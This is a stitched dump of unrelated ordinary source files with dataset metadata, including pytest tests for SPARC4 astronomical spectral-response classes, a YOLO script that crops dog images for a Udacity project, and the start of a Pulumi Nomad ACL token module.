Concrete_SPARC4_Spectral_Response_1,
Concrete_SPARC4_Spectral_Response_2,
Concrete_SPARC4_Spectral_Response_3,
Concrete_SPARC4_Spectral_Response_4,
)
wavelength_interval = range(350, 1150, 50)
n = len(wavelength_interval)
specific_flux = np.ones((4, n))
ccd_transmitance_c1 = np.asarray(
pd.read_excel(os.path.join("SPARC4_Spectral_Response", "Channel 1", "ccd.xlsx"))
)[1:, 1]
ccd_transmitance_c1 = np.asarray([float(value) for value in ccd_transmitance_c1])
ccd_transmitance_c2 = np.asarray(
pd.read_excel(os.path.join("SPARC4_Spectral_Response", "Channel 2", "ccd.xlsx"))
)[1:, 1]
ccd_transmitance_c2 = np.asarray([float(value) for value in ccd_transmitance_c2])
ccd_transmitance_c3 = np.asarray(
pd.read_excel(os.path.join("SPARC4_Spectral_Response", "Channel 3", "ccd.xlsx"))
)[1:, 1]
ccd_transmitance_c3 = np.asarray([float(value) for value in ccd_transmitance_c3])
ccd_transmitance_c4 = np.asarray(
pd.read_excel(os.path.join("SPARC4_Spectral_Response", "Channel 4", "ccd.xlsx"))
)[1:, 1]
ccd_transmitance_c4 = np.asarray([float(value) for value in ccd_transmitance_c4])
# -------------------------------------------------------------------------------------------------------------
@pytest.fixture
def abs_s4_sr():
chc = Abstract_SPARC4_Spectral_Response()
chc.write_specific_flux(specific_flux, wavelength_interval)
return chc
@pytest.fixture
def c1_s4_sr():
chc = Concrete_SPARC4_Spectral_Response_1()
chc.write_specific_flux(specific_flux, wavelength_interval)
return chc
@pytest.fixture
def c2_s4_sr():
chc = Concrete_SPARC4_Spectral_Response_2()
chc.write_specific_flux(specific_flux, wavelength_interval)
return chc
@pytest.fixture
def c3_s4_sr():
chc = Concrete_SPARC4_Spectral_Response_3()
chc.write_specific_flux(specific_flux, wavelength_interval)
return chc
@pytest.fixture
def c4_s4_sr():
chc = Concrete_SPARC4_Spectral_Response_4()
chc.write_specific_flux(specific_flux, wavelength_interval)
return chc
# -------------------- Initialize the class -----------------------
def test_specific_flux_abs(abs_s4_sr):
vec = abs_s4_sr.get_specific_flux()
boolean_test = vec == specific_flux
assert boolean_test.all()
def test_specific_flux_c1(c1_s4_sr):
vec = c1_s4_sr.get_specific_flux()
boolean_test = vec == specific_flux
assert boolean_test.all()
# -------------------- Channel ID -----------------------
def test_channel_ID_abs(abs_s4_sr):
assert abs_s4_sr.get_channel_ID() == 0
def test_channel_ID_c1(c1_s4_sr):
assert c1_s4_sr.get_channel_ID() == 1
def test_channel_ID_c2(c2_s4_sr):
assert c2_s4_sr.get_channel_ID() == 2
def test_channel_ID_c3(c3_s4_sr):
assert c3_s4_sr.get_channel_ID() == 3
def test_channel_ID_c4(c4_s4_sr):
assert c4_s4_sr.get_channel_ID() == 4
# -------------------- Apply spectral response -----------------------
# def test_calibration_wheel(abs_s4_sr):
# abs_s4_sr.apply_calibration_wheel()
# vec = abs_s4_sr.get_specific_flux()
# boolean_test = vec == specific_flux
# assert boolean_test.all()
# def test_retarder(abs_s4_sr):
# abs_s4_sr.apply_retarder()
# vec = abs_s4_sr.get_specific_flux()
# boolean_test = vec == specific_flux
# assert boolean_test.all()
# def test_analyzer(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# vec = abs_s4_sr.get_specific_flux()
# boolean_test = vec == specific_flux
# assert boolean_test.all()
# def test_collimator(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# abs_s4_sr.apply_collimator()
# assert np.allclose(abs_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(abs_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_dichroic_abs(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# abs_s4_sr.apply_dichroic()
# def test_dichroic_c1(c1_s4_sr):
# c1_s4_sr.apply_analyser()
# c1_s4_sr.apply_dichroic()
# def test_dichroic_c2(c2_s4_sr):
# c2_s4_sr.apply_analyser()
# c2_s4_sr.apply_dichroic()
# def test_dichroic_c3(c3_s4_sr):
# c3_s4_sr.apply_analyser()
# c3_s4_sr.apply_dichroic()
# def test_dichroic_c4(c4_s4_sr):
# c4_s4_sr.apply_analyser()
# c4_s4_sr.apply_dichroic()
# def test_camera_abs(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# abs_s4_sr.apply_camera()
# assert np.allclose(abs_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(abs_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_camera_c1(c1_s4_sr):
# c1_s4_sr.apply_analyser()
# c1_s4_sr.apply_camera()
# assert np.allclose(c1_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(c1_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_camera_c2(c2_s4_sr):
# c2_s4_sr.apply_analyser()
# c2_s4_sr.apply_camera()
# assert np.allclose(c2_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(c2_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_camera_c3(c3_s4_sr):
# c3_s4_sr.apply_analyser()
# c3_s4_sr.apply_camera()
# assert np.allclose(c3_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(c3_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_camera_c4(c4_s4_sr):
# c4_s4_sr.apply_analyser()
# c4_s4_sr.apply_camera()
# assert np.allclose(c4_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(c4_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_ccd_abs(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# abs_s4_sr.apply_ccd()
# assert np.allclose(abs_s4_sr.specific_ordinary_ray, specific_flux[0, :])
# assert np.allclose(abs_s4_sr.specific_extra_ordinary_ray, specific_flux[0, :])
# def test_ccd_c1(c1_s4_sr):
# new_specific_flux = specific_flux[0, :] * ccd_transmitance_c1 / 100
# c1_s4_sr.apply_analyser()
# c1_s4_sr.apply_ccd()
# assert np.allclose(c1_s4_sr.specific_ordinary_ray, new_specific_flux)
# assert np.allclose(c1_s4_sr.specific_extra_ordinary_ray, new_specific_flux)
# def test_ccd_c2(c2_s4_sr):
# new_specific_flux = specific_flux[0, :] * ccd_transmitance_c2 / 100
# c2_s4_sr.apply_analyser()
# c2_s4_sr.apply_ccd()
# assert np.allclose(c2_s4_sr.specific_ordinary_ray, new_specific_flux)
# assert np.allclose(c2_s4_sr.specific_extra_ordinary_ray, new_specific_flux)
# def test_ccd_c3(c3_s4_sr):
# new_specific_flux = specific_flux[0, :] * ccd_transmitance_c3 / 100
# c3_s4_sr.apply_analyser()
# c3_s4_sr.apply_ccd()
# assert np.allclose(c3_s4_sr.specific_ordinary_ray, new_specific_flux)
# assert np.allclose(c3_s4_sr.specific_extra_ordinary_ray, new_specific_flux)
# def test_ccd_c4(c4_s4_sr):
# new_specific_flux = specific_flux[0, :] * ccd_transmitance_c4 / 100
# c4_s4_sr.apply_analyser()
# c4_s4_sr.apply_ccd()
# assert np.allclose(c4_s4_sr.specific_ordinary_ray, new_specific_flux)
# assert np.allclose(c4_s4_sr.specific_extra_ordinary_ray, new_specific_flux)
# --------------------write specific_flux--------------------
def test_write_specific_flux():
specific_flux = np.asanyarray(
[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]
)
wavelength_interval = range(350, 1150, 50)
s4_sr = Abstract_SPARC4_Spectral_Response()
s4_sr.write_specific_flux(specific_flux, wavelength_interval)
boolean_test = s4_sr.specific_flux == specific_flux
assert boolean_test.all()
# ---------------------- get_specific_flux -----------------------------
def test_get_specific_flux(abs_s4_sr):
vec = abs_s4_sr.get_specific_flux()
boolean_test = vec.all() == specific_flux.all()
assert boolean_test.all()
# ----------------------- read_spreadsheet---------------------------
def test_read_spreadsheet_calibration_wheel(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "calibration_wheel.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_retarder(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "retarder.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_analyser_ordinary(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "analyser_ordinary.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_analyser_extra_ordinary(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "analyser_extra_ordinary.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_collimator(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "collimator.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_1(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 0", "dichroic 1.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_2(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 0", "dichroic 2.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_camera(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 0", "camera.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_ccd(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 0", "ccd.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_1_1(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 1", "dichroic 1.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_1_2(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 1", "dichroic 2.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_camera_1(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 1", "camera.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_ccd_1(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 1", "ccd.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_2_1(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 2", "dichroic 1.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_2_2(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 2", "dichroic 2.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_camera_2(abs_s4_sr):
file = os.path.join("SPARC4_Spectral_Response", "Channel 2", "camera.xlsx")
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_ccd_2(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 2/ccd.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_3_1(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 3/dichroic 2.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_3_2(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 3/dichroic 2.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_camera_3(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 3/camera.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_ccd_3(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 3/ccd.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_4_1(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 4/dichroic 1.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_dichroic_4_2(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 4/dichroic 2.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_camera_4(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 4/camera.xlsx"
abs_s4_sr._read_spreadsheet(file)
def test_read_spreadsheet_ccd_4(abs_s4_sr):
file = "./SPARC4_Spectral_Response/Channel 4/ccd.xlsx"
abs_s4_sr._read_spreadsheet(file)
# ----------------------- miscelaneous ----------------------------
def test_multiply_matrices(abs_s4_sr):
a = np.ones((4, 4))
specific_flux = abs_s4_sr._multiply_matrices(a, a)
boolean_test = specific_flux == a
assert boolean_test.all()
def test_calculate_spline():
transmitance = np.ones((1, n))[0]
chc = Abstract_SPARC4_Spectral_Response()
chc.write_specific_flux(specific_flux, wavelength_interval)
new_transmitance = chc._calculate_spline(transmitance, wavelength_interval)
assert np.allclose(new_transmitance, transmitance)
# def test_get_specific_ordinary_ray(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# ord_ray = abs_s4_sr.get_specific_ordinary_ray()
# assert np.allclose(ord_ray, specific_flux[0, :])
# def test_get_specific_extra_ordinary_ray(abs_s4_sr):
# abs_s4_sr.apply_analyser()
# eord_ray = abs_s4_sr.get_specific_extra_ordinary_ray()
# assert np.allclose(eord_ray, specific_flux[0, :])
| 30.690698
| 111
| 0.730317
| 1,978
| 13,197
| 4.40091
| 0.051062
| 0.07398
| 0.07398
| 0.063182
| 0.859736
| 0.807926
| 0.776795
| 0.731534
| 0.724526
| 0.667088
| 0
| 0.039951
| 0.133212
| 13,197
| 429
| 112
| 30.762238
| 0.721042
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| 0.164699
| 0.10665
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| 0
| 0.063953
| 1
| 0.238372
| false
| 0
| 0.02907
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| null | 0
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| 1
| 1
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| 1
| 1
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| 0
|
0
| 7
|
aa8573005102cc8dde49d2229b62ac0dda6e09f1
| 146
|
py
|
Python
|
kitpy/common/__init__.py
|
YorkSu/kitpy
|
9b54f1e812d6b4adb7bfd7f2ea60b326420c8f05
|
[
"MIT"
] | null | null | null |
kitpy/common/__init__.py
|
YorkSu/kitpy
|
9b54f1e812d6b4adb7bfd7f2ea60b326420c8f05
|
[
"MIT"
] | null | null | null |
kitpy/common/__init__.py
|
YorkSu/kitpy
|
9b54f1e812d6b4adb7bfd7f2ea60b326420c8f05
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""Common package."""
from kitpy.common import cache
from kitpy.common import interface
from kitpy.common import pattern
| 20.857143
| 34
| 0.732877
| 20
| 146
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| 0.55
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| 6
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|
0
| 8
|
aa9774c2a998b0302c9113d9b6cff8bede4df6c7
| 18,442
|
py
|
Python
|
MachineLearning(Advanced)/p6_graduation_project/process_dog.py
|
StudyExchange/Udacity
|
b8deb014b0f0d56e403e75f1fddb215143b58a83
|
[
"MIT"
] | null | null | null |
MachineLearning(Advanced)/p6_graduation_project/process_dog.py
|
StudyExchange/Udacity
|
b8deb014b0f0d56e403e75f1fddb215143b58a83
|
[
"MIT"
] | null | null | null |
MachineLearning(Advanced)/p6_graduation_project/process_dog.py
|
StudyExchange/Udacity
|
b8deb014b0f0d56e403e75f1fddb215143b58a83
|
[
"MIT"
] | null | null | null |
#! /usr/bin/env python
"""Run a YOLO_v2 style detection model on test images."""
import argparse
import colorsys
import imghdr
import os
import random
import numpy as np
from keras import backend as K
from keras.models import load_model
from PIL import Image, ImageDraw, ImageFont
from yad2k.models.keras_yolo import yolo_eval, yolo_head
import shutil
def _main(session, args_model_path, args_anchors_path, args_classes_path, args_test_path, args_output_path):
model_path = args_model_path
assert model_path.endswith('.h5'), 'Keras model must be a .h5 file.'
anchors_path = args_anchors_path
classes_path = args_classes_path
test_path = args_test_path
output_path = args_output_path
args_score_threshold = .3
args_iou_threshold = .5
if not os.path.exists(output_path):
print('Creating output path {}'.format(output_path))
os.mkdir(output_path)
# sess = K.get_session() # TODO: Remove dependence on Tensorflow session.
sess = session
with open(classes_path) as f:
class_names = f.readlines()
class_names = [c.strip() for c in class_names]
with open(anchors_path) as f:
anchors = f.readline()
anchors = [float(x) for x in anchors.split(',')]
anchors = np.array(anchors).reshape(-1, 2)
yolo_model = load_model(model_path)
# Verify model, anchors, and classes are compatible
num_classes = len(class_names)
num_anchors = len(anchors)
# TODO: Assumes dim ordering is channel last
model_output_channels = yolo_model.layers[-1].output_shape[-1]
assert model_output_channels == num_anchors * (num_classes + 5), \
'Mismatch between model and given anchor and class sizes. ' \
'Specify matching anchors and classes with --anchors_path and ' \
'--classes_path flags.'
print('{} model, anchors, and classes loaded.'.format(model_path))
# Check if model is fully convolutional, assuming channel last order.
model_image_size = yolo_model.layers[0].input_shape[1:3]
is_fixed_size = model_image_size != (None, None)
# Generate colors for drawing bounding boxes.
hsv_tuples = [(x / len(class_names), 1., 1.)
for x in range(len(class_names))]
colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))
colors = list(
map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),
colors))
random.seed(10101) # Fixed seed for consistent colors across runs.
random.shuffle(colors) # Shuffle colors to decorrelate adjacent classes.
random.seed(None) # Reset seed to default.
# Generate output tensor targets for filtered bounding boxes.
# TODO: Wrap these backend operations with Keras layers.
yolo_outputs = yolo_head(yolo_model.output, anchors, len(class_names))
input_image_shape = K.placeholder(shape=(2, ))
boxes, scores, classes = yolo_eval(
yolo_outputs,
input_image_shape,
score_threshold=args_score_threshold,
iou_threshold=args_iou_threshold)
for image_file in os.listdir(test_path):
# try:
# image_type = imghdr.what(os.path.join(test_path, image_file))
# if not image_type:
# continue
# except IsADirectoryError:
# continue
image = Image.open(os.path.join(test_path, image_file))
if is_fixed_size: # TODO: When resizing we can use minibatch input.
resized_image = image.resize(
tuple(reversed(model_image_size)), Image.BICUBIC)
image_data = np.array(resized_image, dtype='float32')
else:
# Due to skip connection + max pooling in YOLO_v2, inputs must have
# width and height as multiples of 32.
new_image_size = (image.width - (image.width % 32),
image.height - (image.height % 32))
resized_image = image.resize(new_image_size, Image.BICUBIC)
image_data = np.array(resized_image, dtype='float32')
print(image_data.shape)
image_data /= 255.
image_data = np.expand_dims(image_data, 0) # Add batch dimension.
out_boxes, out_scores, out_classes = sess.run(
[boxes, scores, classes],
feed_dict={
yolo_model.input: image_data,
input_image_shape: [image.size[1], image.size[0]],
K.learning_phase(): 0
})
print('Found {} boxes for {}'.format(len(out_boxes), image_file))
font = ImageFont.truetype(
font='font/FiraMono-Medium.otf',
size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32'))
thickness = (image.size[0] + image.size[1]) // 300
max_score = 0
for i, c in reversed(list(enumerate(out_classes))):
predicted_class = class_names[c]
box = out_boxes[i]
score = out_scores[i]
label = '{} {:.2f}'.format(predicted_class, score)
draw = ImageDraw.Draw(image)
label_size = draw.textsize(label, font)
top, left, bottom, right = box
top = max(0, np.floor(top + 0.5).astype('int32'))
left = max(0, np.floor(left + 0.5).astype('int32'))
bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))
right = min(image.size[0], np.floor(right + 0.5).astype('int32'))
print(label, (left, top), (right, bottom))
if top - label_size[1] >= 0:
text_origin = np.array([left, top - label_size[1]])
else:
text_origin = np.array([left, top + 1])
# # My kingdom for a good redistributable image drawing library.
# for i in range(thickness):
# draw.rectangle(
# [left + i, top + i, right - i, bottom - i],
# outline=colors[c])
# draw.rectangle(
# [tuple(text_origin), tuple(text_origin + label_size)],
# fill=colors[c])
# draw.text(text_origin, label, fill=(0, 0, 0), font=font)
# del draw
if predicted_class == 'dog':
if score > max_score:
if max_score > 0:
print('-' * 10)
border = 10
max_score = score
crop_box = left - border, top - border, right + border, bottom + border
cropped_img = image.crop(crop_box)
cropped_img.save(os.path.join(output_path, image_file), quality=90)
else:
shutil.copyfile(os.path.join(test_path, image_file), os.path.join(output_path, image_file))
# image.save(os.path.join(output_path, image_file), quality=90)
def _main_input():
model_path = 'model_data/yolo.h5'
anchors_path = 'model_data/yolo_anchors.txt'
classes_path = 'model_data/pascal_classes.txt'
# model_path = args_model_path
assert model_path.endswith('.h5'), 'Keras model must be a .h5 file.'
# anchors_path = args_anchors_path
# classes_path = args_classes_path
# test_path = args_test_path
# output_path = args_output_path
intput_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input'
data_folders = ['data_train', 'data_val', 'data_test']
args_score_threshold = .3
args_iou_threshold = .5
count_max_dog = 0
count_no_dog = 0
count_no_object = 0
# if not os.path.exists(output_path):
# print('Creating output path {}'.format(output_path))
# os.mkdir(output_path)
sess = K.get_session() # TODO: Remove dependence on Tensorflow session.
# sess = session
with open(classes_path) as f:
class_names = f.readlines()
class_names = [c.strip() for c in class_names]
with open(anchors_path) as f:
anchors = f.readline()
anchors = [float(x) for x in anchors.split(',')]
anchors = np.array(anchors).reshape(-1, 2)
yolo_model = load_model(model_path)
# Verify model, anchors, and classes are compatible
num_classes = len(class_names)
num_anchors = len(anchors)
# TODO: Assumes dim ordering is channel last
model_output_channels = yolo_model.layers[-1].output_shape[-1]
assert model_output_channels == num_anchors * (num_classes + 5), \
'Mismatch between model and given anchor and class sizes. ' \
'Specify matching anchors and classes with --anchors_path and ' \
'--classes_path flags.'
print('{} model, anchors, and classes loaded.'.format(model_path))
# Check if model is fully convolutional, assuming channel last order.
model_image_size = yolo_model.layers[0].input_shape[1:3]
is_fixed_size = model_image_size != (None, None)
# Generate colors for drawing bounding boxes.
hsv_tuples = [(x / len(class_names), 1., 1.)
for x in range(len(class_names))]
colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))
colors = list(
map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),
colors))
random.seed(10101) # Fixed seed for consistent colors across runs.
random.shuffle(colors) # Shuffle colors to decorrelate adjacent classes.
random.seed(None) # Reset seed to default.
# Generate output tensor targets for filtered bounding boxes.
# TODO: Wrap these backend operations with Keras layers.
yolo_outputs = yolo_head(yolo_model.output, anchors, len(class_names))
input_image_shape = K.placeholder(shape=(2, ))
boxes, scores, classes = yolo_eval(
yolo_outputs,
input_image_shape,
score_threshold=args_score_threshold,
iou_threshold=args_iou_threshold)
for data_folder_name in data_folders:
data_folder = os.path.join(intput_path, data_folder_name)
output_folder = os.path.join(intput_path, 'yolo_' + data_folder_name)
if not os.path.exists(output_folder):
print('Create folders: %s' % output_folder)
os.makedirs(output_folder)
else:
print('Folder exists: %s' % output_folder)
for class_folder_name in os.listdir(data_folder):
test_path = os.path.join(data_folder, class_folder_name)
output_path = os.path.join(output_folder, class_folder_name)
if not os.path.exists(output_path):
print('Create folders: %s' % output_path)
os.makedirs(output_path)
else:
print('Folder exists: %s' % output_path)
for image_file in os.listdir(test_path):
# try:
# image_type = imghdr.what(os.path.join(test_path, image_file))
# if not image_type:
# continue
# except IsADirectoryError:
# continue
image = Image.open(os.path.join(test_path, image_file))
if is_fixed_size: # TODO: When resizing we can use minibatch input.
resized_image = image.resize(
tuple(reversed(model_image_size)), Image.BICUBIC)
image_data = np.array(resized_image, dtype='float32')
else:
# Due to skip connection + max pooling in YOLO_v2, inputs must have
# width and height as multiples of 32.
new_image_size = (image.width - (image.width % 32),
image.height - (image.height % 32))
resized_image = image.resize(new_image_size, Image.BICUBIC)
image_data = np.array(resized_image, dtype='float32')
print(image_data.shape)
image_data /= 255.
image_data = np.expand_dims(image_data, 0) # Add batch dimension.
try:
out_boxes, out_scores, out_classes = sess.run(
[boxes, scores, classes],
feed_dict={
yolo_model.input: image_data,
input_image_shape: [image.size[1], image.size[0]],
K.learning_phase(): 0
})
except Exception as ex:
print('Err: %s' % image_file)
print(ex)
shutil.copyfile(os.path.join(test_path, image_file), os.path.join(output_path, image_file))
continue
# print('Found {} boxes for {}'.format(len(out_boxes), image_file))
font = ImageFont.truetype(
font='font/FiraMono-Medium.otf',
size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32'))
thickness = (image.size[0] + image.size[1]) // 300
max_score = 0
if len(out_classes) > 0:
for i, c in reversed(list(enumerate(out_classes))):
predicted_class = class_names[c]
box = out_boxes[i]
score = out_scores[i]
label = '{} {:.2f}'.format(predicted_class, score)
draw = ImageDraw.Draw(image)
label_size = draw.textsize(label, font)
top, left, bottom, right = box
top = max(0, np.floor(top + 0.5).astype('int32'))
left = max(0, np.floor(left + 0.5).astype('int32'))
bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))
right = min(image.size[0], np.floor(right + 0.5).astype('int32'))
# print(label, (left, top), (right, bottom))
if top - label_size[1] >= 0:
text_origin = np.array([left, top - label_size[1]])
else:
text_origin = np.array([left, top + 1])
# # My kingdom for a good redistributable image drawing library.
# for i in range(thickness):
# draw.rectangle(
# [left + i, top + i, right - i, bottom - i],
# outline=colors[c])
# draw.rectangle(
# [tuple(text_origin), tuple(text_origin + label_size)],
# fill=colors[c])
# draw.text(text_origin, label, fill=(0, 0, 0), font=font)
# del draw
if predicted_class == 'dog':
if score > max_score:
if max_score > 0:
print('+' * 10)
count_max_dog += 1
border = 10
max_score = score
crop_box = left - border, top - border, right + border, bottom + border
cropped_img = image.crop(crop_box)
cropped_img.save(os.path.join(output_path, image_file), quality=90)
else:
count_no_dog += 1
print('-' * 10)
shutil.copyfile(os.path.join(test_path, image_file), os.path.join(output_path, image_file))
else:
count_no_object += 1
print('*' * 10)
shutil.copyfile(os.path.join(test_path, image_file), os.path.join(output_path, image_file))
print('%s %s %s' %(count_max_dog, count_no_dog, count_no_object))
# image.save(os.path.join(output_path, image_file), quality=90)
if __name__ == '__main__':
# sess = K.get_session() # TODO: Remove dependence on Tensorflow session.
# 测试YOLO自带的图片
model_path = 'model_data/yolo.h5'
anchors_path = 'model_data/yolo_anchors.txt'
classes_path = 'model_data/pascal_classes.txt'
# test_path = 'images'
# output_path = 'images/out'
# _main(model_path, anchors_path, classes_path, test_path, output_path)
# 处理inputdata
_main_input()
# # 处理data_train
# test_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input/data_train'
# output_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input/yolo_data_train'
# for folder_name in os.listdir(test_path):
# in_path = os.path.join(test_path, folder_name)
# out_path = os.path.join(output_path, folder_name)
# if not os.path.exists(out_path):
# print('Create folder: %s' % out_path)
# os.makedirs(out_path)
# else:
# print('Folder exists: %s' % out_path)
# # _main(sess, model_path, anchors_path, classes_path, in_path, out_path)
# # 处理data_val
# test_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input/data_val'
# output_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input/yolo_data_val'
# for folder_name in os.listdir(test_path):
# in_path = os.path.join(test_path, folder_name)
# out_path = os.path.join(output_path, folder_name)
# if not os.path.exists(out_path):
# print('Create folder: %s' % out_path)
# os.makedirs(out_path)
# else:
# print('Folder exists: %s' % out_path)
# # _main(sess, model_path, anchors_path, classes_path, in_path, out_path)
# # 处理data_test
# test_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input/data_test'
# output_path = 'D:/Udacity/MachineLearning(Advanced)/p6_graduation_project/input/yolo_data_test'
# for folder_name in os.listdir(test_path):
# in_path = os.path.join(test_path, folder_name)
# out_path = os.path.join(output_path, folder_name)
# if not os.path.exists(out_path):
# print('Create folder: %s' % out_path)
# os.makedirs(out_path)
# else:
# print('Folder exists: %s' % out_path)
# # _main(sess, model_path, anchors_path, classes_path, in_path, out_path)
# sess.close()
| 42.689815
| 119
| 0.575968
| 2,256
| 18,442
| 4.488032
| 0.121897
| 0.03358
| 0.025679
| 0.018963
| 0.90637
| 0.897877
| 0.883753
| 0.883753
| 0.869235
| 0.869235
| 0
| 0.017655
| 0.318187
| 18,442
| 431
| 120
| 42.788863
| 0.787578
| 0.267053
| 0
| 0.7751
| 0
| 0
| 0.071647
| 0.016735
| 0
| 0
| 0
| 0.00232
| 0.016064
| 1
| 0.008032
| false
| 0
| 0.044177
| 0
| 0.052209
| 0.072289
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
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| null | 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
aaacd36cd111d7f0fcf9c102ed5413eed2535143
| 18,325
|
py
|
Python
|
sdk/python/pulumi_nomad/acl_token.py
|
pulumi/pulumi-nomad
|
00cc556d40bc1895f9ce10cb221fd21d1ef15350
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2021-07-25T19:12:40.000Z
|
2022-03-17T17:52:35.000Z
|
sdk/python/pulumi_nomad/acl_token.py
|
pulumi/pulumi-nomad
|
00cc556d40bc1895f9ce10cb221fd21d1ef15350
|
[
"ECL-2.0",
"Apache-2.0"
] | 18
|
2021-11-10T15:49:13.000Z
|
2022-03-31T15:36:18.000Z
|
sdk/python/pulumi_nomad/acl_token.py
|
pulumi/pulumi-nomad
|
00cc556d40bc1895f9ce10cb221fd21d1ef15350
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2021-07-25T19:12:49.000Z
|
2021-07-25T19:12:49.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = ['AclTokenArgs', 'AclToken']
@pulumi.input_type
class AclTokenArgs:
def __init__(__self__, *,
type: pulumi.Input[str],
global_: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
policies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a AclToken resource.
:param pulumi.Input[str] type: `(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
:param pulumi.Input[bool] global_: `(bool: false)` - Whether the token should be replicated to all
